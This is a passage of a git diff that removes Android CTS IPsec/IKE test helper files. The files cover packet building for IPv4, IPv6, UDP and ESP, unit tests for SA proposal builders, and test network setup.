- * <p>TODO(b/148689509): Statically include the PacketUtils source file instead of copying it.
- */
-public class PacketUtils {
-    private static final String TAG = PacketUtils.class.getSimpleName();
-
-    private static final int DATA_BUFFER_LEN = 4096;
-
-    static final int IP4_HDRLEN = 20;
-    static final int IP6_HDRLEN = 40;
-    static final int UDP_HDRLEN = 8;
-    static final int TCP_HDRLEN = 20;
-    static final int TCP_HDRLEN_WITH_TIMESTAMP_OPT = TCP_HDRLEN + 12;
-
-    // Not defined in OsConstants
-    static final int IPPROTO_IPV4 = 4;
-    static final int IPPROTO_ESP = 50;
-
-    // Encryption parameters
-    static final int AES_GCM_IV_LEN = 8;
-    static final int AES_CBC_IV_LEN = 16;
-    static final int AES_GCM_BLK_SIZE = 4;
-    static final int AES_CBC_BLK_SIZE = 16;
-
-    // Encryption algorithms
-    static final String AES = "AES";
-    static final String AES_CBC = "AES/CBC/NoPadding";
-    static final String HMAC_SHA_256 = "HmacSHA256";
-
-    public interface Payload {
-        byte[] getPacketBytes(IpHeader header) throws Exception;
-
-        void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) throws Exception;
-
-        short length();
-
-        int getProtocolId();
-    }
-
-    public abstract static class IpHeader {
-
-        public final byte proto;
-        public final InetAddress srcAddr;
-        public final InetAddress dstAddr;
-        public final Payload payload;
-
-        public IpHeader(int proto, InetAddress src, InetAddress dst, Payload payload) {
-            this.proto = (byte) proto;
-            this.srcAddr = src;
-            this.dstAddr = dst;
-            this.payload = payload;
-        }
-
-        public abstract byte[] getPacketBytes() throws Exception;
-
-        public abstract int getProtocolId();
-    }
-
-    public static class Ip4Header extends IpHeader {
-        private short checksum;
-
-        public Ip4Header(int proto, Inet4Address src, Inet4Address dst, Payload payload) {
-            super(proto, src, dst, payload);
-        }
-
-        public byte[] getPacketBytes() throws Exception {
-            ByteBuffer resultBuffer = buildHeader();
-            payload.addPacketBytes(this, resultBuffer);
-
-            return getByteArrayFromBuffer(resultBuffer);
-        }
-
-        public ByteBuffer buildHeader() {
-            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
-
-            // Version, IHL
-            bb.put((byte) (0x45));
-
-            // DCSP, ECN
-            bb.put((byte) 0);
-
-            // Total Length
-            bb.putShort((short) (IP4_HDRLEN + payload.length()));
-
-            // Empty for Identification, Flags and Fragment Offset
-            bb.putShort((short) 0);
-            bb.put((byte) 0x40);
-            bb.put((byte) 0x00);
-
-            // TTL
-            bb.put((byte) 64);
-
-            // Protocol
-            bb.put(proto);
-
-            // Header Checksum
-            final int ipChecksumOffset = bb.position();
-            bb.putShort((short) 0);
-
-            // Src/Dst addresses
-            bb.put(srcAddr.getAddress());
-            bb.put(dstAddr.getAddress());
-
-            bb.putShort(ipChecksumOffset, calculateChecksum(bb));
-
-            return bb;
-        }
-
-        private short calculateChecksum(ByteBuffer bb) {
-            int checksum = 0;
-
-            // Calculate sum of 16-bit values, excluding checksum. IPv4 headers are always 32-bit
-            // aligned, so no special cases needed for unaligned values.
-            ShortBuffer shortBuffer = ByteBuffer.wrap(getByteArrayFromBuffer(bb)).asShortBuffer();
-            while (shortBuffer.hasRemaining()) {
-                short val = shortBuffer.get();
-
-                // Wrap as needed
-                checksum = addAndWrapForChecksum(checksum, val);
-            }
-
-            return onesComplement(checksum);
-        }
-
-        public int getProtocolId() {
-            return IPPROTO_IPV4;
-        }
-    }
-
-    public static class Ip6Header extends IpHeader {
-        public Ip6Header(int nextHeader, Inet6Address src, Inet6Address dst, Payload payload) {
-            super(nextHeader, src, dst, payload);
-        }
-
-        public byte[] getPacketBytes() throws Exception {
-            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
-
-            // Version | Traffic Class (First 4 bits)
-            bb.put((byte) 0x60);
-
-            // Traffic class (Last 4 bits), Flow Label
-            bb.put((byte) 0);
-            bb.put((byte) 0);
-            bb.put((byte) 0);
-
-            // Payload Length
-            bb.putShort((short) payload.length());
-
-            // Next Header
-            bb.put(proto);
-
-            // Hop Limit
-            bb.put((byte) 64);
-
-            // Src/Dst addresses
-            bb.put(srcAddr.getAddress());
-            bb.put(dstAddr.getAddress());
-
-            // Payload
-            payload.addPacketBytes(this, bb);
-
-            return getByteArrayFromBuffer(bb);
-        }
-
-        public int getProtocolId() {
-            return IPPROTO_IPV6;
-        }
-    }
-
-    public static class BytePayload implements Payload {
-        public final byte[] payload;
-
-        public BytePayload(byte[] payload) {
-            this.payload = payload;
-        }
-
-        public int getProtocolId() {
-            return -1;
-        }
-
-        public byte[] getPacketBytes(IpHeader header) {
-            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
-
-            addPacketBytes(header, bb);
-            return getByteArrayFromBuffer(bb);
-        }
-
-        public void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) {
-            resultBuffer.put(payload);
-        }
-
-        public short length() {
-            return (short) payload.length;
-        }
-    }
-
-    public static class UdpHeader implements Payload {
-
-        public final short srcPort;
-        public final short dstPort;
-        public final Payload payload;
-
-        public UdpHeader(int srcPort, int dstPort, Payload payload) {
-            this.srcPort = (short) srcPort;
-            this.dstPort = (short) dstPort;
-            this.payload = payload;
-        }
-
-        public int getProtocolId() {
-            return IPPROTO_UDP;
-        }
-
-        public short length() {
-            return (short) (payload.length() + 8);
-        }
-
-        public byte[] getPacketBytes(IpHeader header) throws Exception {
-            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
-
-            addPacketBytes(header, bb);
-            return getByteArrayFromBuffer(bb);
-        }
-
-        public void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) throws Exception {
-            // Source, Destination port
-            resultBuffer.putShort(srcPort);
-            resultBuffer.putShort(dstPort);
-
-            // Payload Length
-            resultBuffer.putShort(length());
-
-            // Get payload bytes for checksum + payload
-            ByteBuffer payloadBuffer = ByteBuffer.allocate(DATA_BUFFER_LEN);
-            payload.addPacketBytes(header, payloadBuffer);
-            byte[] payloadBytes = getByteArrayFromBuffer(payloadBuffer);
-
-            // Checksum
-            resultBuffer.putShort(calculateChecksum(header, payloadBytes));
-
-            // Payload
-            resultBuffer.put(payloadBytes);
-        }
-
-        private short calculateChecksum(IpHeader header, byte[] payloadBytes) throws Exception {
-            int newChecksum = 0;
-            ShortBuffer srcBuffer = ByteBuffer.wrap(header.srcAddr.getAddress()).asShortBuffer();
-            ShortBuffer dstBuffer = ByteBuffer.wrap(header.dstAddr.getAddress()).asShortBuffer();
-
-            while (srcBuffer.hasRemaining() || dstBuffer.hasRemaining()) {
-                short val = srcBuffer.hasRemaining() ? srcBuffer.get() : dstBuffer.get();
-
-                // Wrap as needed
-                newChecksum = addAndWrapForChecksum(newChecksum, val);
-            }
-
-            // Add pseudo-header values. Proto is 0-padded, so just use the byte.
-            newChecksum = addAndWrapForChecksum(newChecksum, header.proto);
-            newChecksum = addAndWrapForChecksum(newChecksum, length());
-            newChecksum = addAndWrapForChecksum(newChecksum, srcPort);
-            newChecksum = addAndWrapForChecksum(newChecksum, dstPort);
-            newChecksum = addAndWrapForChecksum(newChecksum, length());
-
-            ShortBuffer payloadShortBuffer = ByteBuffer.wrap(payloadBytes).asShortBuffer();
-            while (payloadShortBuffer.hasRemaining()) {
-                newChecksum = addAndWrapForChecksum(newChecksum, payloadShortBuffer.get());
-            }
-            if (payload.length() % 2 != 0) {
-                newChecksum =
-                        addAndWrapForChecksum(
-                                newChecksum, (payloadBytes[payloadBytes.length - 1] << 8));
-            }
-
-            return onesComplement(newChecksum);
-        }
-    }
-
-    public static class EspHeader implements Payload {
-        public final int nextHeader;
-        public final int spi;
-        public final int seqNum;
-        public final byte[] key;
-        public final byte[] payload;
-
-        /**
-         * Generic constructor for ESP headers.
-         *
-         * <p>For Tunnel mode, payload will be a full IP header + attached payloads
-         *
-         * <p>For Transport mode, payload will be only the attached payloads, but with the checksum
-         * calculated using the pre-encryption IP header
-         */
-        public EspHeader(int nextHeader, int spi, int seqNum, byte[] key, byte[] payload) {
-            this.nextHeader = nextHeader;
-            this.spi = spi;
-            this.seqNum = seqNum;
-            this.key = key;
-            this.payload = payload;
-        }
-
-        public int getProtocolId() {
-            return IPPROTO_ESP;
-        }
-
-        public short length() {
-            // ALWAYS uses AES-CBC, HMAC-SHA256 (128b trunc len)
-            return (short)
-                    calculateEspPacketSize(payload.length, AES_CBC_IV_LEN, AES_CBC_BLK_SIZE, 128);
-        }
-
-        public byte[] getPacketBytes(IpHeader header) throws Exception {
-            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
-
-            addPacketBytes(header, bb);
-            return getByteArrayFromBuffer(bb);
-        }
-
-        public void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) throws Exception {
-            ByteBuffer espPayloadBuffer = ByteBuffer.allocate(DATA_BUFFER_LEN);
-            espPayloadBuffer.putInt(spi);
-            espPayloadBuffer.putInt(seqNum);
-            espPayloadBuffer.put(getCiphertext(key));
-
-            espPayloadBuffer.put(getIcv(getByteArrayFromBuffer(espPayloadBuffer)), 0, 16);
-            resultBuffer.put(getByteArrayFromBuffer(espPayloadBuffer));
-        }
-
-        private byte[] getIcv(byte[] authenticatedSection) throws GeneralSecurityException {
-            Mac sha256HMAC = Mac.getInstance(HMAC_SHA_256);
-            SecretKeySpec authKey = new SecretKeySpec(key, HMAC_SHA_256);
-            sha256HMAC.init(authKey);
-
-            return sha256HMAC.doFinal(authenticatedSection);
-        }
-
-        /**
-         * Encrypts and builds ciphertext block. Includes the IV, Padding and Next-Header blocks
-         *
-         * <p>The ciphertext does NOT include the SPI/Sequence numbers, or the ICV.
-         */
-        private byte[] getCiphertext(byte[] key) throws GeneralSecurityException {
-            int paddedLen = calculateEspEncryptedLength(payload.length, AES_CBC_BLK_SIZE);
-            ByteBuffer paddedPayload = ByteBuffer.allocate(paddedLen);
-            paddedPayload.put(payload);
-
-            // Add padding - consecutive integers from 0x01
-            int pad = 1;
-            while (paddedPayload.position() < paddedPayload.limit()) {
-                paddedPayload.put((byte) pad++);
-            }
-
-            paddedPayload.position(paddedPayload.limit() - 2);
-            paddedPayload.put((byte) (paddedLen - 2 - payload.length)); // Pad length
-            paddedPayload.put((byte) nextHeader);
-
-            // Generate Initialization Vector
-            byte[] iv = new byte[AES_CBC_IV_LEN];
-            new SecureRandom().nextBytes(iv);
-            IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
-            SecretKeySpec secretKeySpec = new SecretKeySpec(key, AES);
-
-            // Encrypt payload
-            Cipher cipher = Cipher.getInstance(AES_CBC);
-            cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivParameterSpec);
-            byte[] encrypted = cipher.doFinal(getByteArrayFromBuffer(paddedPayload));
-
-            // Build ciphertext
-            ByteBuffer cipherText = ByteBuffer.allocate(AES_CBC_IV_LEN + encrypted.length);
-            cipherText.put(iv);
-            cipherText.put(encrypted);
-
-            return getByteArrayFromBuffer(cipherText);
-        }
-    }
-
-    private static int addAndWrapForChecksum(int currentChecksum, int value) {
-        currentChecksum += value & 0x0000ffff;
-
-        // Wrap anything beyond the first 16 bits, and add to lower order bits
-        return (currentChecksum >>> 16) + (currentChecksum & 0x0000ffff);
-    }
-
-    private static short onesComplement(int val) {
-        val = (val >>> 16) + (val & 0xffff);
-
-        if (val == 0) return 0;
-        return (short) ((~val) & 0xffff);
-    }
-
-    public static int calculateEspPacketSize(
-            int payloadLen, int cryptIvLength, int cryptBlockSize, int authTruncLen) {
-        final int ESP_HDRLEN = 4 + 4; // SPI + Seq#
-        final int ICV_LEN = authTruncLen / 8; // Auth trailer; based on truncation length
-        payloadLen += cryptIvLength; // Initialization Vector
-
-        // Align to block size of encryption algorithm
-        payloadLen = calculateEspEncryptedLength(payloadLen, cryptBlockSize);
-        return payloadLen + ESP_HDRLEN + ICV_LEN;
-    }
-
-    private static int calculateEspEncryptedLength(int payloadLen, int cryptBlockSize) {
-        payloadLen += 2; // ESP trailer
-
-        // Align to block size of encryption algorithm
-        return payloadLen + calculateEspPadLen(payloadLen, cryptBlockSize);
-    }
-
-    private static int calculateEspPadLen(int payloadLen, int cryptBlockSize) {
-        return (cryptBlockSize - (payloadLen % cryptBlockSize)) % cryptBlockSize;
-    }
-
-    private static byte[] getByteArrayFromBuffer(ByteBuffer buffer) {
-        return Arrays.copyOfRange(buffer.array(), 0, buffer.position());
-    }
-
-    /*
-     * Debug printing
-     */
-    private static final char[] hexArray = "0123456789ABCDEF".toCharArray();
-
-    public static String bytesToHex(byte[] bytes) {
-        StringBuilder sb = new StringBuilder();
-        for (byte b : bytes) {
-            sb.append(hexArray[b >>> 4]);
-            sb.append(hexArray[b & 0x0F]);
-            sb.append(' ');
-        }
-        return sb.toString();
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/SaProposalTest.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/SaProposalTest.java
deleted file mode 100644
index e58a3fe..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/SaProposalTest.java
+++ /dev/null
@@ -1,256 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import static android.net.ipsec.ike.SaProposal.DH_GROUP_1024_BIT_MODP;
-import static android.net.ipsec.ike.SaProposal.DH_GROUP_2048_BIT_MODP;
-import static android.net.ipsec.ike.SaProposal.DH_GROUP_NONE;
-import static android.net.ipsec.ike.SaProposal.ENCRYPTION_ALGORITHM_3DES;
-import static android.net.ipsec.ike.SaProposal.ENCRYPTION_ALGORITHM_AES_CBC;
-import static android.net.ipsec.ike.SaProposal.ENCRYPTION_ALGORITHM_AES_GCM_12;
-import static android.net.ipsec.ike.SaProposal.ENCRYPTION_ALGORITHM_AES_GCM_16;
-import static android.net.ipsec.ike.SaProposal.ENCRYPTION_ALGORITHM_AES_GCM_8;
-import static android.net.ipsec.ike.SaProposal.INTEGRITY_ALGORITHM_AES_XCBC_96;
-import static android.net.ipsec.ike.SaProposal.INTEGRITY_ALGORITHM_HMAC_SHA1_96;
-import static android.net.ipsec.ike.SaProposal.INTEGRITY_ALGORITHM_HMAC_SHA2_256_128;
-import static android.net.ipsec.ike.SaProposal.INTEGRITY_ALGORITHM_HMAC_SHA2_384_192;
-import static android.net.ipsec.ike.SaProposal.INTEGRITY_ALGORITHM_HMAC_SHA2_512_256;
-import static android.net.ipsec.ike.SaProposal.INTEGRITY_ALGORITHM_NONE;
-import static android.net.ipsec.ike.SaProposal.KEY_LEN_AES_128;
-import static android.net.ipsec.ike.SaProposal.KEY_LEN_AES_192;
-import static android.net.ipsec.ike.SaProposal.KEY_LEN_AES_256;
-import static android.net.ipsec.ike.SaProposal.KEY_LEN_UNUSED;
-import static android.net.ipsec.ike.SaProposal.PSEUDORANDOM_FUNCTION_AES128_XCBC;
-import static android.net.ipsec.ike.SaProposal.PSEUDORANDOM_FUNCTION_HMAC_SHA1;
-import static android.net.ipsec.ike.SaProposal.PSEUDORANDOM_FUNCTION_SHA2_256;
-import static android.net.ipsec.ike.SaProposal.PSEUDORANDOM_FUNCTION_SHA2_384;
-import static android.net.ipsec.ike.SaProposal.PSEUDORANDOM_FUNCTION_SHA2_512;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-
-import android.net.ipsec.ike.ChildSaProposal;
-import android.net.ipsec.ike.IkeSaProposal;
-import android.util.Pair;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.List;
-
-@RunWith(AndroidJUnit4.class)
-public class SaProposalTest {
-    private static final List<Pair<Integer, Integer>> NORMAL_MODE_CIPHERS = new ArrayList<>();
-    private static final List<Pair<Integer, Integer>> COMBINED_MODE_CIPHERS = new ArrayList<>();
-    private static final List<Integer> INTEGRITY_ALGOS = new ArrayList<>();
-    private static final List<Integer> DH_GROUPS = new ArrayList<>();
-    private static final List<Integer> DH_GROUPS_WITH_NONE = new ArrayList<>();
-    private static final List<Integer> PRFS = new ArrayList<>();
-
-    static {
-        NORMAL_MODE_CIPHERS.add(new Pair<>(ENCRYPTION_ALGORITHM_3DES, KEY_LEN_UNUSED));
-        NORMAL_MODE_CIPHERS.add(new Pair<>(ENCRYPTION_ALGORITHM_AES_CBC, KEY_LEN_AES_128));
-        NORMAL_MODE_CIPHERS.add(new Pair<>(ENCRYPTION_ALGORITHM_AES_CBC, KEY_LEN_AES_192));
-        NORMAL_MODE_CIPHERS.add(new Pair<>(ENCRYPTION_ALGORITHM_AES_CBC, KEY_LEN_AES_256));
-
-        COMBINED_MODE_CIPHERS.add(new Pair<>(ENCRYPTION_ALGORITHM_AES_GCM_8, KEY_LEN_AES_128));
-        COMBINED_MODE_CIPHERS.add(new Pair<>(ENCRYPTION_ALGORITHM_AES_GCM_12, KEY_LEN_AES_192));
-        COMBINED_MODE_CIPHERS.add(new Pair<>(ENCRYPTION_ALGORITHM_AES_GCM_16, KEY_LEN_AES_256));
-
-        INTEGRITY_ALGOS.add(INTEGRITY_ALGORITHM_HMAC_SHA1_96);
-        INTEGRITY_ALGOS.add(INTEGRITY_ALGORITHM_AES_XCBC_96);
-        INTEGRITY_ALGOS.add(INTEGRITY_ALGORITHM_HMAC_SHA2_256_128);
-        INTEGRITY_ALGOS.add(INTEGRITY_ALGORITHM_HMAC_SHA2_384_192);
-        INTEGRITY_ALGOS.add(INTEGRITY_ALGORITHM_HMAC_SHA2_512_256);
-
-        DH_GROUPS.add(DH_GROUP_1024_BIT_MODP);
-        DH_GROUPS.add(DH_GROUP_2048_BIT_MODP);
-
-        DH_GROUPS_WITH_NONE.add(DH_GROUP_NONE);
-        DH_GROUPS_WITH_NONE.addAll(DH_GROUPS);
-
-        PRFS.add(PSEUDORANDOM_FUNCTION_HMAC_SHA1);
-        PRFS.add(PSEUDORANDOM_FUNCTION_AES128_XCBC);
-        PRFS.add(PSEUDORANDOM_FUNCTION_SHA2_256);
-        PRFS.add(PSEUDORANDOM_FUNCTION_SHA2_384);
-        PRFS.add(PSEUDORANDOM_FUNCTION_SHA2_512);
-    }
-
-    // Package private
-    static IkeSaProposal buildIkeSaProposalWithNormalModeCipher() {
-        return buildIkeSaProposal(NORMAL_MODE_CIPHERS, INTEGRITY_ALGOS, PRFS, DH_GROUPS);
-    }
-
-    // Package private
-    static IkeSaProposal buildIkeSaProposalWithCombinedModeCipher() {
-        return buildIkeSaProposalWithCombinedModeCipher(true /* hasIntegrityNone */);
-    }
-
-    private static IkeSaProposal buildIkeSaProposalWithCombinedModeCipher(
-            boolean hasIntegrityNone) {
-        List<Integer> integerAlgos = new ArrayList<>();
-        if (hasIntegrityNone) {
-            integerAlgos.add(INTEGRITY_ALGORITHM_NONE);
-        }
-        return buildIkeSaProposal(COMBINED_MODE_CIPHERS, integerAlgos, PRFS, DH_GROUPS);
-    }
-
-    private static IkeSaProposal buildIkeSaProposal(
-            List<Pair<Integer, Integer>> ciphers,
-            List<Integer> integrityAlgos,
-            List<Integer> prfs,
-            List<Integer> dhGroups) {
-        IkeSaProposal.Builder builder = new IkeSaProposal.Builder();
-
-        for (Pair<Integer, Integer> pair : ciphers) {
-            builder.addEncryptionAlgorithm(pair.first, pair.second);
-        }
-        for (int algo : integrityAlgos) {
-            builder.addIntegrityAlgorithm(algo);
-        }
-        for (int algo : prfs) {
-            builder.addPseudorandomFunction(algo);
-        }
-        for (int algo : dhGroups) {
-            builder.addDhGroup(algo);
-        }
-
-        return builder.build();
-    }
-
-    // Package private
-    static ChildSaProposal buildChildSaProposalWithNormalModeCipher() {
-        return buildChildSaProposal(NORMAL_MODE_CIPHERS, INTEGRITY_ALGOS, DH_GROUPS_WITH_NONE);
-    }
-
-    // Package private
-    static ChildSaProposal buildChildSaProposalWithCombinedModeCipher() {
-        return buildChildSaProposalWithCombinedModeCipher(true /* hasIntegrityNone */);
-    }
-
-    private static ChildSaProposal buildChildSaProposalWithCombinedModeCipher(
-            boolean hasIntegrityNone) {
-        List<Integer> integerAlgos = new ArrayList<>();
-        if (hasIntegrityNone) {
-            integerAlgos.add(INTEGRITY_ALGORITHM_NONE);
-        }
-
-        return buildChildSaProposal(COMBINED_MODE_CIPHERS, integerAlgos, DH_GROUPS_WITH_NONE);
-    }
-
-    private static ChildSaProposal buildChildSaProposal(
-            List<Pair<Integer, Integer>> ciphers,
-            List<Integer> integrityAlgos,
-            List<Integer> dhGroups) {
-        ChildSaProposal.Builder builder = new ChildSaProposal.Builder();
-
-        for (Pair<Integer, Integer> pair : ciphers) {
-            builder.addEncryptionAlgorithm(pair.first, pair.second);
-        }
-        for (int algo : integrityAlgos) {
-            builder.addIntegrityAlgorithm(algo);
-        }
-        for (int algo : dhGroups) {
-            builder.addDhGroup(algo);
-        }
-
-        return builder.build();
-    }
-
-    // Package private
-    static ChildSaProposal buildChildSaProposalWithOnlyCiphers() {
-        return buildChildSaProposal(
-                COMBINED_MODE_CIPHERS, Collections.EMPTY_LIST, Collections.EMPTY_LIST);
-    }
-
-    @Test
-    public void testBuildIkeSaProposalWithNormalModeCipher() {
-        IkeSaProposal saProposal = buildIkeSaProposalWithNormalModeCipher();
-
-        assertEquals(NORMAL_MODE_CIPHERS, saProposal.getEncryptionAlgorithms());
-        assertEquals(INTEGRITY_ALGOS, saProposal.getIntegrityAlgorithms());
-        assertEquals(PRFS, saProposal.getPseudorandomFunctions());
-        assertEquals(DH_GROUPS, saProposal.getDhGroups());
-    }
-
-    @Test
-    public void testBuildIkeSaProposalWithCombinedModeCipher() {
-        IkeSaProposal saProposal =
-                buildIkeSaProposalWithCombinedModeCipher(false /* hasIntegrityNone */);
-
-        assertEquals(COMBINED_MODE_CIPHERS, saProposal.getEncryptionAlgorithms());
-        assertEquals(PRFS, saProposal.getPseudorandomFunctions());
-        assertEquals(DH_GROUPS, saProposal.getDhGroups());
-        assertTrue(saProposal.getIntegrityAlgorithms().isEmpty());
-    }
-
-    @Test
-    public void testBuildIkeSaProposalWithCombinedModeCipherAndIntegrityNone() {
-        IkeSaProposal saProposal =
-                buildIkeSaProposalWithCombinedModeCipher(true /* hasIntegrityNone */);
-
-        assertEquals(COMBINED_MODE_CIPHERS, saProposal.getEncryptionAlgorithms());
-        assertEquals(PRFS, saProposal.getPseudorandomFunctions());
-        assertEquals(DH_GROUPS, saProposal.getDhGroups());
-        assertEquals(Arrays.asList(INTEGRITY_ALGORITHM_NONE), saProposal.getIntegrityAlgorithms());
-    }
-
-    @Test
-    public void testBuildChildSaProposalWithNormalModeCipher() {
-        ChildSaProposal saProposal = buildChildSaProposalWithNormalModeCipher();
-
-        assertEquals(NORMAL_MODE_CIPHERS, saProposal.getEncryptionAlgorithms());
-        assertEquals(INTEGRITY_ALGOS, saProposal.getIntegrityAlgorithms());
-        assertEquals(DH_GROUPS_WITH_NONE, saProposal.getDhGroups());
-    }
-
-    @Test
-    public void testBuildChildProposalWithCombinedModeCipher() {
-        ChildSaProposal saProposal =
-                buildChildSaProposalWithCombinedModeCipher(false /* hasIntegrityNone */);
-
-        assertEquals(COMBINED_MODE_CIPHERS, saProposal.getEncryptionAlgorithms());
-        assertTrue(saProposal.getIntegrityAlgorithms().isEmpty());
-        assertEquals(DH_GROUPS_WITH_NONE, saProposal.getDhGroups());
-    }
-
-    @Test
-    public void testBuildChildProposalWithCombinedModeCipherAndIntegrityNone() {
-        ChildSaProposal saProposal =
-                buildChildSaProposalWithCombinedModeCipher(true /* hasIntegrityNone */);
-
-        assertEquals(COMBINED_MODE_CIPHERS, saProposal.getEncryptionAlgorithms());
-        assertEquals(Arrays.asList(INTEGRITY_ALGORITHM_NONE), saProposal.getIntegrityAlgorithms());
-        assertEquals(DH_GROUPS_WITH_NONE, saProposal.getDhGroups());
-    }
-
-    @Test
-    public void testBuildChildSaProposalWithOnlyCiphers() {
-        ChildSaProposal saProposal = buildChildSaProposalWithOnlyCiphers();
-
-        assertEquals(COMBINED_MODE_CIPHERS, saProposal.getEncryptionAlgorithms());
-        assertTrue(saProposal.getIntegrityAlgorithms().isEmpty());
-        assertTrue(saProposal.getDhGroups().isEmpty());
-    }
-
-    // TODO(b/148689509): Test throwing exception when algorithm combination is invalid
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/TestNetworkUtils.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/TestNetworkUtils.java
deleted file mode 100644
index 2f2a6a4..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/TestNetworkUtils.java
+++ /dev/null
@@ -1,87 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_VPN;
-import static android.net.NetworkCapabilities.NET_CAPABILITY_TRUSTED;
-import static android.net.NetworkCapabilities.TRANSPORT_TEST;
-
-import android.net.ConnectivityManager;
-import android.net.Network;
-import android.net.NetworkRequest;
-import android.net.TestNetworkManager;
-import android.os.IBinder;
-import android.os.RemoteException;
-
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.TimeUnit;
-
-// TODO(b/148689509): Share this class with net CTS test (e.g. IpSecManagerTunnelTest)
-public class TestNetworkUtils {
-    private static final int TIMEOUT_MS = 500;
-
-    /** Callback to receive requested test network. */
-    public static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
-        private final CompletableFuture<Network> futureNetwork = new CompletableFuture<>();
-
-        @Override
-        public void onAvailable(Network network) {
-            futureNetwork.complete(network);
-        }
-
-        public Network getNetworkBlocking() throws Exception {
-            return futureNetwork.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        }
-    }
-
-    /**
-     * Set up test network.
-     *
-     * <p>Caller MUST have MANAGE_TEST_NETWORKS permission to use this method.
-     *
-     * @param connMgr ConnectivityManager to request network.
-     * @param testNetworkMgr TestNetworkManager to set up test network.
-     * @param ifname the name of the interface to be used for the Network LinkProperties.
-     * @param binder a binder object guarding the lifecycle of this test network.
-     * @return TestNetworkCallback to retrieve the test network.
-     * @throws RemoteException if test network setup failed.
-     * @see android.net.TestNetworkManager
-     */
-    public static TestNetworkCallback setupAndGetTestNetwork(
-            ConnectivityManager connMgr,
-            TestNetworkManager testNetworkMgr,
-            String ifname,
-            IBinder binder)
-            throws RemoteException {
-        NetworkRequest nr =
-                new NetworkRequest.Builder()
-                        .addTransportType(TRANSPORT_TEST)
-                        .removeCapability(NET_CAPABILITY_TRUSTED)
-                        .removeCapability(NET_CAPABILITY_NOT_VPN)
-                        .setNetworkSpecifier(ifname)
-                        .build();
-
-        TestNetworkCallback cb = new TestNetworkCallback();
-        connMgr.requestNetwork(nr, cb);
-
-        // Setup the test network after network request is filed to prevent Network from being
-        // reaped due to no requests matching it.
-        testNetworkMgr.setupTestNetwork(ifname, binder);
-
-        return cb;
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/TunUtils.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/TunUtils.java
deleted file mode 100644
index dc197f9..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/TunUtils.java
+++ /dev/null
@@ -1,264 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.ipsec.ike.cts;
-
-import static android.ipsec.ike.cts.PacketUtils.IP4_HDRLEN;
-import static android.ipsec.ike.cts.PacketUtils.IP6_HDRLEN;
-import static android.ipsec.ike.cts.PacketUtils.IPPROTO_ESP;
-import static android.ipsec.ike.cts.PacketUtils.UDP_HDRLEN;
-import static android.system.OsConstants.IPPROTO_UDP;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.fail;
-
-import android.os.ParcelFileDescriptor;
-
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.List;
-import java.util.function.Predicate;
-
-/**
- * This code is a exact copy of {@link TunUtils} in
- * cts/tests/tests/net/src/android/net/cts/TunUtils.java, except the import path of PacketUtils is
- * the path to the copy of PacktUtils.
- *
- * <p>TODO(b/148689509): Statically include the TunUtils source file instead of copying it.
- */
-public class TunUtils {
-    private static final String TAG = TunUtils.class.getSimpleName();
-
-    private static final int DATA_BUFFER_LEN = 4096;
-    static final int TIMEOUT = 500;
-
-    static final int IP4_PROTO_OFFSET = 9;
-    static final int IP6_PROTO_OFFSET = 6;
-
